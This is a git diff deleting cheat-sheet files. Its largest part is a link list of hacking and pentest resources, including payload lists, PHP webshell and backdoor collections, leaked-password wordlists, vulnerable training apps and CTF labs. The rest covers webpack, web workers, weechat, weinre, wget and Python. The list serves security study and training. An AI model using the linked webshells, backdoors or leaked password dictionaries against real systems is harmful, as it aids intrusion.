--   [✅] [**Awesome Hacking by HackWithGithub**](https://github.com/Hack-with-Github/Awesome-Hacking) - awesome lists for hackers, pentesters and security researchers.
-
--   [✅] [**Awesome Hacking by carpedm20**](https://github.com/carpedm20/awesome-hacking) - a curated list of awesome hacking tutorials, tools and resources.
-
--   [✅] [**Awesome Hacking Resources**](https://github.com/vitalysim/Awesome-Hacking-Resources) - collection of hacking/penetration testing resources to make you better.
-
--   [✅] [**Awesome Pentest**](https://github.com/enaqx/awesome-pentest) - collection of awesome penetration testing resources, tools and other shiny things.
-
--   [✅] [**Awesome-Hacking-Tools**](https://github.com/m4ll0k/Awesome-Hacking-Tools) - is a curated list of awesome Hacking Tools.
-
--   [✅] [**Hacking Cheat Sheet**](https://github.com/ksanchezcld/Hacking_Cheat_Sheet) - author hacking and pentesting notes.
-
--   [✅] [**blackhat-arsenal-tools**](https://github.com/toolswatch/blackhat-arsenal-tools) - official Black Hat arsenal security tools repository.
-
--   [✅] [**Penetration Testing and WebApp Cheat Sheets**](https://www.peerlyst.com/posts/the-complete-list-of-infosec-related-cheat-sheets-claus-cramon) - the complete list of Infosec related cheat sheets.
-
--   [✅] [**Cyber Security Resources**](https://github.com/The-Art-of-Hacking/h4cker) - includes thousands of cybersecurity-related references and resources.
-
--   [✅] [**Pentest Bookmarks**](https://github.com/jhaddix/pentest-bookmarks) - there are a LOT of pentesting blogs.
-
--   [✅] [**Cheatsheet-God**](https://github.com/OlivierLaflamme/Cheatsheet-God) - Penetration Testing Reference Bank - OSCP/PTP & PTX Cheatsheet.
-
--   [✅] [**ThreatHunter-Playbook**](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) - to aid the development of techniques and hypothesis for hunting campaigns.
-
--   [✅] [**Beginner-Network-Pentesting**](https://github.com/hmaverickadams/Beginner-Network-Pentesting) - notes for beginner network pentesting course.
-
--   [✅] [**OSCPRepo**](https://github.com/rewardone/OSCPRepo) - is a list of resources that author have been gathering in preparation for the OSCP.
-
--   [✅] [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings) - a list of useful payloads and bypass for Web Application Security and Pentest/CTF.
-
--   [✅] [**payloads**](https://github.com/foospidy/payloads) - git all the Payloads! A collection of web attack payloads.
-
--   [✅] [**command-injection-payload-list**](https://github.com/payloadbox/command-injection-payload-list) - command injection payload list.
-
--   [✅] [**Awesome Shodan Search Queries**](https://github.com/jakejarvis/awesome-shodan-queries) - great search queries to plug into Shodan.
-
--   [✅] [**AwesomeXSS**](https://github.com/s0md3v/AwesomeXSS) - is a collection of Awesome XSS resources.
-
--   [✅] [**php-webshells**](https://github.com/JohnTroony/php-webshells) - common php webshells.
-
--   [✅] [**Pentesting Tools Cheat Sheet**](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/) - a quick reference high level overview for typical penetration testing.
-
--   [✅] [**OWASP Cheat Sheet Series**](https://cheatsheetseries.owasp.org/) - is a collection of high value information on specific application security topics.
-
--   [✅] [**OWASP dependency-check**](https://jeremylong.github.io/DependencyCheck/index.html) - is an open source solution the OWASP Top 10 2013 entry.
-
--   [✅] [**OWASP ProActive Controls**](https://www.owasp.org/index.php/OWASP_Proactive_Controls) - OWASP Top 10 Proactive Controls 2018.
-
--   [✅] [**PENTESTING-BIBLE**](https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE) - hacking & penetration testing & red team & cyber security resources.
-
--   [✅] [**pentest-wiki**](https://github.com/nixawk/pentest-wiki) - is a free online security knowledge library for pentesters/researchers.
-
--   [✅] [**DEF CON Media Server**](https://media.defcon.org/) - great stuff from DEFCON.
-
--   [✅] [**Awesome Malware Analysis**](https://github.com/rshipp/awesome-malware-analysis) - a curated list of awesome malware analysis tools and resources.
-
--   [✅] [**SQL Injection Cheat Sheet**](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) - detailed technical stuff about the many different variants of the SQL Injection.
-
--   [✅] [**Entersoft Knowledge Base**](http://kb.entersoft.co.in/) - great and detailed reference about vulnerabilities.
-
--   [✅] [**HTML5 Security Cheatsheet**](http://html5sec.org/) - a collection of HTML5 related XSS attack vectors.
-
--   [✅] [**XSS String Encoder**](http://evuln.com/tools/xss-encoder/) - for generating XSS code to check your input validation filters against XSS.
-
--   [✅] [**GTFOBins**](https://gtfobins.github.io/) - list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
-
--   [✅] [**Guifre Ruiz Notes**](https://guif.re/) - collection of security, system, network and pentest cheatsheets.
-
--   [✅] [**SSRF Tips**](http://blog.safebuff.com/2016/07/03/SSRF-Tips/index.html) - a collection of SSRF Tips.
-
--   [✅] [**shell-storm repo CTF**](http://shell-storm.org/repo/CTF/) - great archive of CTFs.
-
--   [✅] [**ctf**](https://github.com/bl4de/ctf) - CTF (Capture The Flag) writeups, code snippets, notes, scripts.
-
--   [✅] [**My-CTF-Web-Challenges**](https://github.com/orangetw/My-CTF-Web-Challenges) - collection of CTF Web challenges.
-
--   [✅] [**MSTG**](https://github.com/OWASP/owasp-mstg) - The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing.
-
--   [✅] [**Internal-Pentest-Playbook**](https://github.com/sdcampbell/Internal-Pentest-Playbook) - notes on the most common things for an Internal Network Penetration Test.
-
--   [✅] [**KeyHacks**](https://github.com/streaak/keyhacks) - shows quick ways in which API keys leaked by a bug bounty program can be checked.
-
--   [✅] [**securitum/research**](https://github.com/securitum/research) - various Proof of Concepts of security research performed by Securitum.
-
--   [✅] [**public-pentesting-reports**](https://github.com/juliocesarfort/public-pentesting-reports) - is a list of public pentest reports released by several consulting security groups.
-
--   [✅] [**awesome-bug-bounty**](https://github.com/djadmin/awesome-bug-bounty) - is a comprehensive curated list of available Bug Bounty.
-
--   [✅] [**bug-bounty-reference**](https://github.com/ngalongc/bug-bounty-reference) - is a list of bug bounty write-ups.
-
--   [✅] [**Awesome-Bugbounty-Writeups**](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups) - is a curated list of bugbounty writeups.
-
--   [✅] [**Bug bounty writeups**](https://pentester.land/list-of-bug-bounty-writeups.html) - list of bug bounty writeups (2012-2020).
-
--   [✅] [**hackso.me**](https://hackso.me/) - a great journey into security.
-
-##### ▪️ Backdoors/exploits
-
--   [✅] [**PHP-backdoors**](https://github.com/bartblaze/PHP-backdoors) - a collection of PHP backdoors. For educational or testing purposes only.
-
-##### ▪️ Wordlists and Weak passwords
-
--   [✅] [**Weakpass**](https://weakpass.com/) - for any kind of bruteforce find wordlists or unleash the power of them all at once!
-
--   [✅] [**Hashes.org**](https://hashes.org/) - is a free online hash resolving service incorporating many unparalleled techniques.
-
--   [✅] [**SecLists**](https://github.com/danielmiessler/SecLists) - collection of multiple types of lists used during security assessments, collected in one place.
-
--   [✅] [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - sorted by probability originally created for password generation and testing.
-
--   [✅] [**skullsecurity passwords**](https://wiki.skullsecurity.org/index.php?title=Passwords) - password dictionaries and leaked passwords repository.
-
--   [✅] [**Polish PREMIUM Dictionary**](https://bezpieka.org/polski-slownik-premium-polish-wordlist) - official dictionary created by the team on the forum bezpieka.org.**\*** [1](https://sourceforge.net/projects/kali-linux/files/Wordlist/)[
-    ✅ ](https://sourceforge.net/projects/kali-linux/files/Wordlist/)[**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames) - wordlists for creating statistically likely username lists.
-
-##### ▪️ Bounty platforms
-
--   [✅] [**YesWeHack**](https://www.yeswehack.com/) - bug bounty platform with infosec jobs.
-
--   [✅] [**Openbugbounty**](https://www.openbugbounty.org/) - allows any security researcher reporting a vulnerability on any website.
-
--   [✅] [**hackerone**](https://www.hackerone.com/) - global hacker community to surface the most relevant security issues.
-
--   [✅] [**bugcrowd**](https://www.bugcrowd.com/) - crowdsourced cybersecurity for the enterprise.
-
--   [✅] [**Crowdshield**](https://crowdshield.com/) - crowdsourced security & bug bounty management.
-
--   [✅] [**Synack**](https://www.synack.com/) - crowdsourced security & bug bounty programs, crowd security intelligence platform, and more.
-
--   [✅] [**Hacktrophy**](https://hacktrophy.com/en/) - bug bounty platform.
-
-##### ▪️ Web Training Apps (local installation)
-
--   [✅] [**OWASP-VWAD**](https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project) - comprehensive and well maintained registry of all known vulnerable web applications.
-
--   [✅] [**DVWA**](http://www.dvwa.co.uk/) - PHP/MySQL web application that is damn vulnerable.
-
--   [✅] [**metasploitable2**](https://metasploit.help.rapid7.com/docs/metasploitable-2) - vulnerable web application amongst security researchers.
-
--   [✅] [**metasploitable3**](https://github.com/rapid7/metasploitable3) - is a VM that is built from the ground up with a large amount of security vulnerabilities.
-
--   [✅] [**DSVW**](https://github.com/stamparm/DSVW) - is a deliberately vulnerable web application written in under 100 lines of code.
-
--   [✅] [**OWASP Mutillidae II**](https://sourceforge.net/projects/mutillidae/) - free, open source, deliberately vulnerable web-application.
-
--   [✅] [**OWASP Juice Shop Project**](https://www.owasp.org/index.php/OWASP_Juice_Shop_Project) - the most bug-free vulnerable application in existence.
-
--   [✅] [**OWASP Node js Goat Project**](https://www.owasp.org/index.php/Projects/OWASP_Node_js_Goat_Project) - OWASP Top 10 security risks apply to web apps developed using Node.js.
-
--   [✅] [**juicy-ctf**](https://github.com/iteratec/juicy-ctf) - run Capture the Flags and Security Trainings with OWASP Juice Shop.
-
--   [✅] [**SecurityShepherd**](https://github.com/OWASP/SecurityShepherd) - web and mobile application security training platform.
-
--   [✅] [**Security Ninjas**](https://github.com/opendns/Security_Ninjas_AppSec_Training) - open source application security training program.
-
--   [✅] [**hackazon**](https://github.com/rapid7/hackazon) - a modern vulnerable web app.
-
--   [✅] [**dvna**](https://github.com/appsecco/dvna) - damn vulnerable NodeJS application.
-
--   [✅] [**django-DefectDojo**](https://github.com/DefectDojo/django-DefectDojo) - is an open-source application vulnerability correlation and security orchestration tool.
-
--   [✅] [**Google Gruyere**](https://google-gruyere.appspot.com/) - web application exploits and defenses.
-
--   [✅] [**Bodhi**](https://github.com/amolnaik4/bodhi) - is a playground focused on learning the exploitation of client-side web vulnerabilities.
-
--   [✅] [**Websploit**](https://websploit.h4cker.org/) - single vm lab with the purpose of combining several vulnerable appliations in one environment.
-
--   [✅] [**vulhub**](https://github.com/vulhub/vulhub) - pre-built Vulnerable Environments based on docker-compose.
-
--   [✅] [**CloudGoat 2**](https://rhinosecuritylabs.com/aws/introducing-cloudgoat-2/) - the new & improved "Vulnerable by Design" AWS deployment tool.
-
--   [✅] [**secDevLabs**](https://github.com/globocom/secDevLabs) - is a laboratory for learning secure web development in a practical manner.
-
--   [✅] [**CORS-vulnerable-Lab**](https://github.com/incredibleindishell/CORS-vulnerable-Lab) - sample vulnerable code and its exploit code.
-
--   [✅] [**RootTheBox**](https://github.com/moloch--/RootTheBox) - a Game of Hackers (CTF Scoreboard & Game Manager).
-
--   [✅] [**KONTRA**](https://application.security/) - application security training (OWASP Top Web & Api).
-
-##### ▪️ Labs (ethical hacking platforms/trainings/CTFs)
-
--   [✅] [**Offensive Security**](https://www.offensive-security.com/) - true performance-based penetration testing training for over a decade.
-
--   [✅] [**Hack The Box**](https://www.hackthebox.eu/) - online platform allowing you to test your penetration testing skills.
-
--   [✅] [**Hacking-Lab**](https://www.hacking-lab.com/index.html) - online ethical hacking, computer network and security challenge platform.
-
--   [✅] [**pwnable.kr**](http://pwnable.kr/index.php) - non-commercial wargame site which provides various pwn challenges.
-
--   [✅] [**Pwnable.tw**](https://pwnable.tw/) - is a wargame site for hackers to test and expand their binary exploiting skills.
-
--   [✅] [**picoCTF**](https://picoctf.com/) - is a free computer security game targeted at middle and high school students.
-
--   [✅] [**CTFlearn**](https://ctflearn.com/) - is an online platform built to help ethical hackers learn and practice their cybersecurity knowledge.
-
--   [✅] [**ctftime**](https://ctftime.org/) - CTF archive and a place, where you can get some another CTF-related info.
-
--   [✅] [**Silesia Security Lab**](https://silesiasecuritylab.com/) - high quality security testing services.
-
--   [✅] [**Practical Pentest Labs**](https://practicalpentestlabs.com/) - pentest lab, take your Hacking skills to the next level.
-
--   [✅] [**Root Me**](https://www.root-me.org/?lang=en) - the fast, easy, and affordable way to train your hacking skills.
-
--   [✅] [**rozwal.to**](https://rozwal.to/login) - a great platform to train your pentesting skills.
-
--   [✅] [**TryHackMe**](https://tryhackme.com/) - learning Cyber Security made easy.
-
--   [✅] [**hackxor**](https://hackxor.net/) - is a realistic web application hacking game, designed to help players of all abilities develop their skills.
-
--   [✅] [**Hack Yourself First**](http://hack-yourself-first.com/) - it's full of nasty app sec holes.
-
--   [✅] [**OverTheWire**](http://overthewire.org/wargames/) - can help you to learn and practice security concepts in the form of fun-filled games.
-
--   [✅] [**Wizard Labs**](https://labs.wizard-security.net/) - is an online Penetration Testing Lab.
-
--   [✅] [**PentesterLab**](https://pentesterlab.com/) - provides vulnerable systems that can be used to test and understand vulnerabilities.
-
--   [✅] [**RingZer0**](https://ringzer0ctf.com/) - tons of challenges designed to test and improve your hacking skills.
-
--   [✅] [**try2hack**](http://www.try2hack.nl/) - several security-oriented challenges for your entertainment.
-
--   [✅] [**Ubeeri**](https://www.ubeeri.com/preconfig-labs) - preconfigured lab environments.
-
--   [✅] [**Pentestit**](https://lab.pentestit.ru/) - emulate IT infrastructures of real companies for legal pen testing and improving pentest skills.
-
--   [✅] [**Microcorruption**](https://microcorruption.com/login) - reversal challenges done in the web interface.
-
--   [✅] [**Crackmes**](https://crackmes.one/) - download crackmes to help improve your reverse engineering skills.
-
--   [✅] [**DomGoat**](https://domgo.at/cxss/intro) - DOM XSS security learning and practicing platform.
-
--   [✅] [**Stereotyped Challenges**](https://chall.stypr.com/) - upgrade your web hacking techniques today!
-
--   [✅] [**Vulnhub**](https://www.vulnhub.com/) - allows anyone to gain practical 'hands-on' experience in digital security.
-
--   [✅] [**W3Challs**](https://w3challs.com/) - is a penetration testing training platform, which offers various computer challenges.
-
--   [✅] [**RingZer0 CTF**](https://ringzer0ctf.com/challenges) - offers you tons of challenges designed to test and improve your hacking skills.
-
--   [✅] [**Hack.me**](https://hack.me/) - a platform where you can build, host and share vulnerable web apps for educational purposes.
-
--   [✅] [**HackThis!**](https://www.hackthis.co.uk/levels/) - discover how hacks, dumps and defacements are performed and secure your website.
-
--   [✅] [**Enigma Group WebApp Training**](https://www.enigmagroup.org/#) - these challenges cover the exploits listed in the OWASP Top 10 Project.
-
--   [✅] [**Reverse Engineering Challenges**](https://challenges.re/) - challenges, exercises, problems and tasks - by level, by type, and more.
-
--   [✅] [**0x00sec**](https://0x00sec.org/) - the home of the Hacker - Malware, Reverse Engineering, and Computer Science.
-
--   [✅] [**We Chall**](https://www.wechall.net/challs) - there are exist a lots of different challenge types.
-
--   [✅] [**Hacker Gateway**](https://www.hackergateway.com/) - is the go-to place for hackers who want to test their skills.
-
--   [✅] [**Hacker101**](https://www.hacker101.com/) - is a free class for web security.
-
--   [✅] [**contained.af**](https://contained.af/) - a stupid game for learning about containers, capabilities, and syscalls.
-
--   [✅] [**flAWS challenge!**](http://flaws.cloud/) - a series of levels you'll learn about common mistakes and gotchas when using AWS.
-
--   [✅] [**CyberSec WTF**](https://cybersecurity.wtf/) - provides web hacking challenges derived from bounty write-ups.
-
--   [✅] [**CTF Challenge**](https://ctfchallenge.co.uk/login) - CTF Web App challenges.
-
--   [✅] [**gCTF**](https://capturetheflag.withgoogle.com/) - most of the challenges used in the Google CTF 2017.
-
--   [✅] [**Hack This Site**](https://www.hackthissite.org/pages/index/index.php) - is a free, safe and legal training ground for hackers.
-
--   [✅] [**Attack & Defense**](https://attackdefense.com/) - is a browser-based cloud labs.
-
--   [✅] [**Cryptohack**](https://cryptohack.org/) - a fun platform for learning modern cryptography.
-
--   [✅] [**Cryptopals**](https://cryptopals.com/) - the cryptopals crypto challenges.
-
-##### ▪️ CTF platforms
-
--   [✅] [**fbctf**](https://github.com/facebook/fbctf) - platform to host Capture the Flag competitions.
-
--   [✅] [**ctfscoreboard**](https://github.com/google/ctfscoreboard) - scoreboard for Capture The Flag competitions.
-
-##### ▪️ Other resources
-
--   [✅] [**Bugcrowd University**](https://github.com/bugcrowd/bugcrowd_university) - open source education content for the researcher community.
-
--   [✅] [**OSCPRepo**](https://github.com/rewardone/OSCPRepo) - a list of resources and scripts that I have been gathering in preparation for the OSCP.
-
--   [✅] [**OWASP Top 10: Real-World Examples**](https://medium.com/@cxosmo/owasp-top-10-real-world-examples-part-1-a540c4ea2df5) - test your web apps with real-world examples (two-part series).
-
--   [✅] [**phrack.org**](http://phrack.org/index.html) - an awesome collection of articles from several respected hackers and other thinkers.
-
--   [✅] [**Practical-Ethical-Hacking-Resources**](https://github.com/Gr1mmie/Practical-Ethical-Hacking-Resources) - compilation of resources from TCM's Udemy Course.
-
-#### Your daily knowledge and news [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ RSS Readers
-
--   [✅] [**Feedly**](https://feedly.com/) - organize, read and share what matters to you.
-
--   [✅] [**Inoreader**](https://www.inoreader.com/) - similar to feedly with a support for filtering what you fetch from rss.
-
-##### ▪️ IRC Channels
-
--   [✅] [**#hackerspaces**](https://wiki.hackerspaces.org/IRC_Channel) - hackerspace IRC channels.
-
-##### ▪️ Security
-
--   [✅] [**The Hacker News**](https://thehackernews.com/) - leading news source dedicated to promoting awareness for security experts and hackers.
-
--   [✅] [**Latest Hacking News**](https://latesthackingnews.com/) - provides the latest hacking news, exploits and vulnerabilities for ethical hackers.
-
--   [✅] [**Security Newsletter**](https://securitynewsletter.co/) - security news as a weekly digest (email notifications).
-
--   [✅] [**Google Online Security Blog**](https://security.googleblog.com/) - the latest news and insights from Google on security and safety on the Internet.
-
--   [✅] [**Qualys Blog**](https://blog.qualys.com/) - expert network security guidance and news.
-
--   [✅] [**DARKReading**](https://www.darkreading.com/) - connecting the Information Security Community.
-
--   [✅] [**Darknet**](https://www.darknet.org.uk/) - latest hacking tools, hacker news, cybersecurity best practices, ethical hacking & pen-testing.
-
--   [✅] [**publiclyDisclosed**](https://twitter.com/disclosedh1) - public disclosure watcher who keeps you up to date about the recently disclosed bugs.
-
--   [✅] [**Reddit - Hacking**](https://www.reddit.com/r/hacking/) - a subreddit dedicated to hacking and hackers.
-
--   [✅] [**Packet Storm**](https://packetstormsecurity.com/) - information security services, news, files, tools, exploits, advisories and whitepapers.
-
--   [✅] [**Sekurak**](https://sekurak.pl/) - about security, penetration tests, vulnerabilities and many others (PL/EN).
-
--   [✅] [**nf.sec**](https://nfsec.pl/) - basic aspects and mechanisms of Linux operating system security (PL).
-
-##### ▪️ Other/All-in-one
-
--   [✅] [**Changelog**](https://changelog.com/) - is a community of hackers; news & podcasts for developers and hackers.
-
-#### Other Cheat Sheets [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-###### Build your own DNS Servers
-
--   [✅] [**Unbound DNS Tutorial**](https://calomel.org/unbound_dns.html) - a validating, recursive, and caching DNS server.
-
--   [✅] [**Knot Resolver on Fedora**](https://www.ctrl.blog/entry/knot-dns-resolver-tutorial.html) - how to get faster and more secure DNS resolution with Knot Resolver on Fedora.
-
--   [✅] [**DNS-over-HTTPS**](https://www.aaflalo.me/2018/10/tutorial-setup-dns-over-https-server/) - tutorial to setup your own DNS-over-HTTPS (DoH) server.
-
--   [✅] [**dns-over-https**](https://hacks.mozilla.org/2018/05/a-cartoon-intro-to-dns-over-https/) - a cartoon intro to DNS over HTTPS.
-
--   [✅] [**DNS-over-TLS**](https://www.aaflalo.me/2019/03/dns-over-tls/) - following to your DoH server, setup your DNS-over-TLS (DoT) server.
-
--   [✅] [**DNS Servers**](https://zwischenzugs.com/2018/01/26/how-and-why-i-run-my-own-dns-servers/) - how (and why) i run my own DNS Servers.
-
-###### Build your own Certificate Authority
-
--   [✅] [**OpenSSL Certificate Authority**](https://jamielinux.com/docs/openssl-certificate-authority/) - build your own certificate authority (CA) using the OpenSSL tools.
-
--   [✅] [**step-ca Certificate Authority**](https://github.com/smallstep/certificates) - build your own certificate authority (CA) using open source step-ca.
-
-###### Build your own System/Virtual Machine
-
--   [✅] [**os-tutorial**](https://github.com/cfenollosa/os-tutorial) - how to create an OS from scratch.
-
--   [✅] [**Write your Own Virtual Machine**](https://justinmeiners.github.io/lc3-vm/) - how to write your own virtual machine (VM).
-
--   [✅] [**x86 Bare Metal Examples**](https://github.com/cirosantilli/x86-bare-metal-examples) - dozens of minimal operating systems to learn x86 system programming.
-
--   [✅] [**simple-computer**](https://github.com/djhworld/simple-computer) - the scott CPU from "But How Do It Know?" by J. Clark Scott.
-
--   [✅] [**littleosbook**](https://littleosbook.github.io/) - the little book about OS development.
diff --git a/docs/content/cheat-sheets/web-workers.md b/docs/content/cheat-sheets/web-workers.md
deleted file mode 100644
index aaf989c3cc..0000000000
--- a/docs/content/cheat-sheets/web-workers.md
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Web workers
-category: JavaScript
-
-weight: -1
----
-
-## Web workers
-
-#### Client
-
-```js
-var worker = new Worker('worker.js')
-
-worker.onmessage = function (message) {
-  alert(JSON.stringify(message.data))
-})
-
-worker.postMessage('hello!')
-```
-
-Messages can be anything that can be serialized into JSON (objects, arrays, strings, numbers, booleans). See: [structured clone](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm)
-
-#### Worker
-
-```js
-self.onmessage = function (message) {
-  ···
-}
-
-self.postMessage({ msg: 'hello' })
-```
-
-### Message data
-
-#### [MessageEvent]
-
-```js
-bubbles: false
-cancelBubble: false
-cancelable: false
-clipboardData: undefined
-currentTarget: Worker
-data: "Hello"             ← the data
-defaultPrevented: false
-eventPhase: 0
-lastEventId: ""
-origin: ""
-ports: Array[0]
-returnValue: true
-source: null
-srcElement: Worker
-target: Worker
-timeStamp: 1344821022383
-type: "message"
-```
-
-These are the contents of `message` on onmessage.
diff --git a/docs/content/cheat-sheets/webpack.md b/docs/content/cheat-sheets/webpack.md
deleted file mode 100644
index b6ccc1413a..0000000000
--- a/docs/content/cheat-sheets/webpack.md
+++ /dev/null
@@ -1,202 +0,0 @@
----
-title: Webpack
-category: JavaScript libraries
-
-intro: |
-    This is a very basic "getting started with Webpack" guide for use with [Webpack](https://webpack.js.org) v3. This doesn't cover all features, but it should get you started in understanding the config file format.
----
-
-### Basic config
-
-#### webpack.config.js
-
-```js
-module.exports = {
-    context: __dirname,
-    entry: 'src/app.js',
-    output: {
-        path: __dirname + '/public',
-        filename: 'app.js'
-    }
-};
-```
-
-#### Terminal
-
-```bash
-npm install --save-dev webpack
-```
-
-| `webpack` | build
-| `webpack -- -p` | build production
-| `webpack -- --watch` | compile continuously
-
-This compiles `src/app.js` into `public/app.js`. (Note: you may need to use `./node_modules/.bin/webpack` as a command if you're not invoking Webpack via npm scripts.)
-
-### Multiple files
-
-#### webpack.config.js
-
-```js
-module.exports = {
-    entry: {
-        app: 'src/app.js',
-        vendor: 'src/vendor.js'
-    },
-    output: {
-        path: __dirname + '/public',
-        filename: '[name].js'
-    }
-};
-```
-
-{: data-line="2,3,4,8"}
-
-This creates `app.js` and `vendor.js`.
-
-## Loaders
-
-### Babel
-
-#### Terminal
-
-```bash
-npm install --save-dev \
-  babel-loader \
-  babel-preset-env \
-  babel-preset-react
-```
-
-#### webpack.config.js
-
-```js
-module.exports = {
-  ···
-  module: {
-    rules: [
-      { test: /\.js$/,
-        exclude: /node_modules/,
-        use: [
-          { loader: 'babel-loader' }
-        ]
-      }
-    ]
-  }
-}
-```
-
-{: data-line="3,4,5,6,7,8"}
-
-#### .babelrc
-
-```js
-{
-  "presets": [ "env", "react" ]
-}
-```
-
-Adds support for [Babel](http://babeljs.io).
-
-### CSS
-
-#### Terminal
-
-```bash
-npm install --save-dev \
-  css-loader \
-  style-loader
-```
-
-#### webpack.config.js
-
-```js
-module.exports = {
-  ···
-  module: {
-    rules: [
-     { test: /\.css$/,
-       exclude: /node_modules/,
-       use: [
-         { loader: 'style-loader' },
-         { loader: 'css-loader' }
-       ]
-      }
-    ]
-  }
-}
-```
-
-{: data-line="3,4,5,6,7,8,9"}
-
-#### Your JavaScript
-
-```js
-import './styles.css';
-// or:
-require('./styles.css');
-```
-
-This allows you to use CSS inside your JavaScript. This packages your CSS inside your JavaScript bundle.
-
-### PostCSS
-
-#### Terminal
-
-```
-npm install --save-dev \
-  postcss-loader \
-  postcss-cssnext
-```
-
-#### webpack.config.js
-
-```js
-···
-// Inside module.rules[]:
-{ test: /\.css$/,
-  exclude: /node_modules/,
-  use: [
-    { loader: 'style-loader' },
-    { loader: 'css-loader' },
-    { loader: 'postcss-loader' }
-···
-```
-
-{: data-line="8"}
-
-#### postcss.config.js
-
-```js
-module.exports = {
-    plugins: [require('postcss-cssnext')()]
-};
-```
-
-This example adds [postcss-cssnext](https://www.npmjs.com/package/postcss-cssnext) support to your CSS files.
-
-## Other features
-
-### Dev server
-
-#### package.json
-
-```json
-{ ···
-  "scripts": {
-    "dev": "webpack-dev-server"
-  }
-}
-```
-
-#### Terminal
-
-```bash
-npm install --save-dev \
-  webpack-dev-server
-```
-
-```bash
-npm run dev
-```
-
-This starts an HTTP server for development (port 8080 by default).
diff --git a/docs/content/cheat-sheets/weechat.md b/docs/content/cheat-sheets/weechat.md
deleted file mode 100644
index 741f790e03..0000000000
--- a/docs/content/cheat-sheets/weechat.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: Weechat
-category: Apps
----
-
-## Keys
-
-### Buffers
-
-| Shortcut      | Description                      |
-| ------------- | -------------------------------- |
-| `^s` / `^u`   | Set unread marker on all windows |
-| ---           | ---                              |
-| `^p, A-left`  | Switch buffer left               |
-| `^n, A-right` | Switch buffer right              |
-| `A-a`         | Next buffer with activity        |
-| `A-0...9`     | Switch buffers                   |
-| ---           | ---                              |
-| `F9` /` F10`  | Scroll buffer title              |
-| `F11` / `F12` | Scroll nick list                 |
-| ---           | ---                              |
-| `A-w A-Left`  | Switch windows                   |
-| `A-w A-b`     | Balance windows                  |
-
-{: .-shortcuts}
-
-(`A-` is alt.)
-
-### Window commands
-
-| Shortcut         | Description      |
-| ---------------- | ---------------- |
-| `/window splith` | Split horizontal |
-| `/window splitv` | Split vertical   |
-| `/window zoom`   | Zoom             |
-
-### Search
-
-| `^r` | Search |
-| `Enter` `^j` `^m` | Stop search |
-{: .-shortcuts}
diff --git a/docs/content/cheat-sheets/weinre.md b/docs/content/cheat-sheets/weinre.md
deleted file mode 100644
index 4c5d33773e..0000000000
--- a/docs/content/cheat-sheets/weinre.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Weinre
-category: JavaScript libraries
-
-tags: [Archived]
-intro: |
-    [weinre](https://www.npmjs.com/package/weinre) is a remote Web inspector. Note that it has been deprecated since 2016.
----
-
-### Usage
-
-#### Install:
-
-```
-$ npm install -g weinre
-```
-
-#### Start the server:
-
-```
-$ weinre --boundHost 0.0.0.0
-$ open http://localhost:8080
-```
-
-### HTML to inject
-
-<!--prettier-ignore -->
-```html
-<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.async=1;js.src='http://'+location.hostname+':8080/target/target-script-min.js#anonymous';fjs.parentNode.insertBefore(js,fjs);}}(document,'script','weinre');</script>
-```
-
-### References
-
--   [Weinre](http://people.apache.org/~pmuellr/weinre/)
diff --git a/docs/content/cheat-sheets/wget.md b/docs/content/cheat-sheets/wget.md
deleted file mode 100644
index c9a1c292ce..0000000000
--- a/docs/content/cheat-sheets/wget.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# To download <url>:
-
-wget <url>
-
-#
-
-# To download multiples files with multiple URLs:
-
-wget <url>...
-
-# To download <url> and change its name:
-
-wget <url> -O <outfile>
-
-# To download <url> into <dir>:
-
-wget -P <dir> <url>
-
-# To continue an aborted downloaded:
-
-wget -c <url>
-
-# To parse a file that contains a list of URLs to fetch each one:
-
-wget -i url_list.txt
-
-# To mirror a whole page locally:
-
-wget -pk <url>
-
-# To mirror a whole site locally:
-
-wget -mk <url>
-
-# To download files according to a pattern:
-
-wget http://example.com/files-{1..15}.tar.bz2
-
-# To download all the files in a directory with a specific extension if directory indexing is enabled:
-
-wget -r -l1 -A.extension http://example.com/directory
-
-# To download only response headers (-S --spider) and display them on stdout (-O -).:
-
-wget -S --spider -O - <url>
-
-# To change the User-Agent to 'User-Agent: toto':
-
-wget -U 'toto' <url>
diff --git a/docs/content/cheat-sheets/what_is_python.md b/docs/content/cheat-sheets/what_is_python.md
deleted file mode 100644
index 250c2475e6..0000000000
--- a/docs/content/cheat-sheets/what_is_python.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# What is Python
-
-Python is a popular programming language. It was created in 1991 by Guido van Rossum.
-
-Python is an easy to learn, powerful programming language. It has efficient high-level data structures and a simple but effective approach to object-oriented programming. Python's elegant syntax and dynamic typing, together with its interpreted nature, make it an ideal language for scripting and rapid application development in many areas on most platforms.
-
-It is used for:
-
--   web development (server-side),
--   software development,
--   mathematics,
--   system scripting.
-
-## What can Python do?
-
--   Python can be used on a server to create web applications.
--   Python can be used alongside software to create workflows.
--   Python can connect to database systems. It can also read and modify files.
--   Python can be used to handle big data and perform complex mathematics.
--   Python can be used for rapid prototyping, or for production-ready software development.
-
-## Why Python?
-
--   Python works on different platforms (Windows, Mac, Linux, Raspberry Pi, etc).
--   Python has a simple syntax similar to the English language.
--   Python has syntax that allows developers to write programs with fewer lines than some other programming languages.
--   Python runs on an interpreter system, meaning that code can be executed as soon as it is written. This means that prototyping can be very quick.
